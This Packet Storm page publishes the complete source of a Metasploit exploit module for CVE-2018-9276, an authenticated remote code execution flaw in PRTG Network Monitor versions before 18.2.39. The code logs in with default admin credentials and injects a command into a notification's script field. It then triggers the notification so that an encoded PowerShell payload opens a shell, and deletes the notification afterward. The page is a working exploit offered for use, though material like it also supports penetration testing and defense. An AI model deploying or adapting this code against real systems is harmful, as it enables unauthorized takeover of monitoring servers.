what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

PRTG Network Monitor Remote Code Execution

PRTG Network Monitor Remote Code Execution
Posted Jan 28, 2021
Authored by Josh Berry, Julien Bedel | Site metasploit.com

This Metasploit module exploits an authenticated remote code execution vulnerability in PRTG Network Monitor. Notifications can be created by an authenticated user and can execute scripts when triggered. Due to a poorly validated input on the script name, it is possible to chain it with a user-supplied command allowing command execution under the context of privileged user. The module uses provided credentials to log in to the web interface, then creates and triggers a malicious notification to perform remote code execution using a Powershell payload. It may require a few tries to get a shell because notifications are queued up on the server. This vulnerability affects versions prior to 18.2.39.

tags | exploit, remote, web, shell, code execution
advisories | CVE-2018-9276
SHA-256 | c4ad3f67d521bd09be953b85a6d838485af4c4523264fbbbeb295896439dc54a

PRTG Network Monitor Remote Code Execution

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core/exploit/powershell'

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Powershell

def initialize(info = {})
super(update_info(info,
'Name' => "PRTG Network Monitor Authenticated RCE",
'Description' => %q{
Notifications can be created by an authenticated user and can execute scripts when triggered.
Due to a poorly validated input on the script name, it is possible to chain it with a user-supplied command allowing command execution under the context of privileged user.
The module uses provided credentials to log in to the web interface, then creates and triggers a malicious notification to perform RCE using a Powershell payload.
It may require a few tries to get a shell because notifications are queued up on the server.
This vulnerability affects versions prior to 18.2.39. See references for more details about the vulnerability allowing RCE.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Josh Berry <josh.berry[at]codewatch.org>', # original discovery
'Julien Bedel <contact[at]julienbedel.com>', # module writer
],
'References' =>
[
['CVE', '2018-9276'],
['URL', 'https://www.codewatch.org/blog/?p=453']
],
'Platform' => 'win',
'Arch' => [ ARCH_X86, ARCH_X64 ],
'Targets' =>
[
['Automatic Targeting', { 'auto' => true }]
],
'DefaultTarget' => 0,
'DefaultOptions' => {
'WfsDelay' => 30 # because notification triggers are queuded up on the server
},
'DisclosureDate' => '2018-06-25'))

register_options(
[
OptString.new('ADMIN_USERNAME', [true, 'The username to authenticate as', 'prtgadmin']),
OptString.new('ADMIN_PASSWORD', [true, 'The password for the specified username', 'prtgadmin'])
]
)
end

def prtg_connect
begin
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(datastore['URI'], 'public', 'checklogin.htm'),
'vars_post' => {
'loginurl' => '',
'username' => datastore['ADMIN_USERNAME'],
'password' => datastore['ADMIN_PASSWORD']
}
})
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError
fail_with(Failure::Unreachable, 'Failed to reach remote host')
ensure
disconnect
end

if res && res.code == 302 && res.headers['LOCATION'] == '/home' && res.get_cookies
@cookies = res.get_cookies.to_s
print_good('Successfully logged in with provided credentials')
vprint_status("Session cookies : #{@cookies}")
else
fail_with(Failure::NoAccess, 'Failed to authenticate to the web interface')
end

end

def prtg_create_notification(cmd)
uri = datastore['URI']

begin
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(uri, 'editsettings'),
'cookie' => @cookies,
'headers' => {
'X-Requested-With' => 'XMLHttpRequest'
},
'vars_post' => {
'name_' => Rex::Text.rand_text_alphanumeric(4..24),
'active_' => '1',
'schedule_' => '-1|None|',
'postpone_' => '1',
'summode_' => '2',
'summarysubject_' => '[%sitename] %summarycount Summarized Notifications',
'summinutes_' => '1',
'accessrights_' => '1',
'accessrights_201' => '0',
'active_1' => '0',
'addressuserid_1' => '-1',
'addressgroupid_1' => '-1',
'subject_1' => '[%sitename] %device %name %status %down (%message)',
'contenttype_1' => 'text/html',
'priority_1' => '0',
'active_17' => '0',
'addressuserid_17' => '-1',
'addressgroupid_17' => '-1',
'message_17' => '[%sitename] %device %name %status %down (%message)',
'active_8' => '0',
'addressuserid_8' => '-1',
'addressgroupid_8' => '-1',
'message_8' => '[%sitename] %device %name %status %down (%message)',
'active_2' => '0',
'eventlogfile_2' => 'application',
'sender_2' => 'PRTG Network Monitor',
'eventtype_2' => 'error',
'message_2' => '[%sitename] %device %name %status %down (%message)',
'active_13' => '0',
'syslogport_13' => '514',
'syslogfacility_13' => '1',
'syslogencoding_13' => '1',
'message_13' => '[%sitename] %device %name %status %down (%message)',
'active_14' => '0',
'snmpport_14' => '162',
'snmptrapspec_14' => '0',
'messageid_14' => '0',
'message_14' => '[%sitename] %device %name %status %down (%message)',
'active_9' => '0',
'urlsniselect_9' => '0',
'active_10' => '10',
'address_10' => 'Demo EXE Notification - OutFile.ps1',
'message_10' => "abcd; #{cmd}",
'timeout_10' => '60',
'active_15' => '0',
'message_15' => '[%sitename] %device %name %status %down (%message)',
'active_16' => '0',
'isusergroup_16' => '1',
'addressgroupid_16' => '200|PRTG Administrators',
'ticketuserid_16' => '100|PRTG System Administrator',
'subject_16' => '%device %name %status %down (%message)',
'message_16' => 'Sensor: %name\r\nStatus: %status %down\r\n\r\nDate/Time: %datetime (%timezone)\r\nLast Result: %lastvalue\r\nLast Message: %message\r\n\r\nProbe: %probe\r\nGroup: %group\r\nDevice: %device (%host)\r\n\r\nLast Scan: %lastcheck\r\nLast Up: %lastup\r\nLast Down: %lastdown\r\nUptime: %uptime\r\nDowntime: %downtime\r\nCumulated since: %cumsince\r\nLocation: %location\r\n\r\n',
'autoclose_16' => '1',
'objecttype' => 'notification',
'id' => 'new',
'targeturl' => '/myaccount.htm?tabid=2'
}
})
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError
fail_with(Failure::Unreachable, 'Failed to reach remote host')
ensure
disconnect
end

if res && res.code == 200 && res.get_json_document['objid'] && !res.get_json_document['objid'].empty?
@objid = res.get_json_document['objid']
print_good("Created malicious notification (objid=#{@objid})")
vprint_status("Payload : #{cmd}")
else
fail_with(Failure::Unknown, 'Failed to create malicious notification')
end

end

def prtg_trigger_notification
uri = datastore['URI']

begin
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(uri, 'api', 'notificationtest.htm'),
'cookie' => @cookies,
'headers' => {
'X-Requested-With' => 'XMLHttpRequest'
},
'vars_post' => {
'id' => @objid
}
})
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError
fail_with(Failure::Unreachable, 'Failed to reach remote host')
ensure
disconnect
end

if res && res.code == 200 && (res.to_s.include? 'EXE notification is queued up')
print_good('Triggered malicious notification')
else
fail_with(Failure::Unknown, 'Failed to trigger malicious notification')
end

end

def prtg_delete_notification
uri = datastore['URI']

begin
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(uri, 'api', 'deleteobject.htm'),
'cookie' => @cookies,
'headers' => {
'X-Requested-With' => 'XMLHttpRequest'
},
'vars_post' => {
'id' => @objid,
'approve' => '1'
}
})
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError
fail_with(Failure::Unreachable, 'Failed to reach remote host')
ensure
disconnect
end

if res
print_good('Deleted malicious notification')
else
fail_with(Failure::Unknown, 'Failed to delete malicious notification')
end

end

def check
begin
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(datastore['URI'], '/index.htm')
})
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError
return CheckCode::Unknown
ensure
disconnect
end

if res && res.code == 200
# checks for PRTG version in http headers first, if not found looks for it in html
version_match = /\d{1,2}\.\d{1}\.\d{1,2}\.\d*/
prtg_server_header = res.headers['Server']
if prtg_server_header && prtg_server_header =~ version_match
prtg_version = prtg_server_header[version_match]
else
html = res.get_html_document
prtg_version_html = html.at('span[@class="prtgversion"]')
if prtg_version_html && prtg_version_html.text =~ version_match
prtg_version = prtg_version_html.text[version_match]
end
end

if prtg_version
vprint_status("Identified PRTG Network Monitor Version #{prtg_version}")
if Gem::Version.new(prtg_version) < Gem::Version.new('18.2.39')
return CheckCode::Appears
else
return CheckCode::Safe
end
elsif (prtg_server_header.include? 'PRTG') || (html.to_s.include? 'PRTG')
return CheckCode::Detected
end
end

return CheckCode::Unknown
end

def exploit
powershell_options = {
#method: 'direct',
remove_comspec: true,
wrap_double_quotes: true,
encode_final_payload: true
}
ps_payload = cmd_psh_payload(payload.encoded, payload_instance.arch.first, powershell_options)
prtg_connect
prtg_create_notification(ps_payload)
prtg_trigger_notification
prtg_delete_notification
print_status("Waiting for payload execution.. (#{datastore['WfsDelay']} sec. max)")
end

end
Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    14 Files
  • 12
    Nov 12th
    20 Files
  • 13
    Nov 13th
    63 Files
  • 14
    Nov 14th
    18 Files
  • 15
    Nov 15th
    0 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    0 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close